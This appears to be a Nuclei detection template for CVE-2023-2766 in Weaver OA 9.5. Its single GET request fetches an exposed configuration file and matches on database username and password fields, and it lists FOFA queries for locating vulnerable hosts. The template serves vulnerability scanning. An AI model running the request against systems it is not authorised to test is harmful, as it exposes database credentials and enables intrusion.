id: CVE-2023-2766

info:
  name: Weaver OA 9.5 - Information Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  reference:
    - https://github.com/8079048q/cve/blob/main/weaveroa.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2766
    - https://vuldb.com/?ctiid.229271
    - https://vuldb.com/?id.229271
    - https://github.com/Vme18000yuan/FreePOC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2766
    cwe-id: CWE-552
    epss-score: 0.54232
    epss-percentile: 0.98909
    cpe: cpe:2.3:a:weaver:weaver_office_automation:9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: weaver_office_automation
    fofa-query:
      - app="泛微-EOffice"
      - app="泛微-eoffice"
  tags: cve,cve2023,weaver,eoffice,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/plain")'
          - 'contains_all(body, "sdbuser =","sdbpassword =")'
        condition: and
# digest: 490a00463044022035bd7966547cd4fe86a91a0205e205dc290897bd465fba2d7e294a2f1b8aa56502205ef0b64f7d03eb0d2c25ebcc78eae1a975373ebdbef2e4d25dda4de685d3f8d3:922c64590222798bb761d5b6d8e72950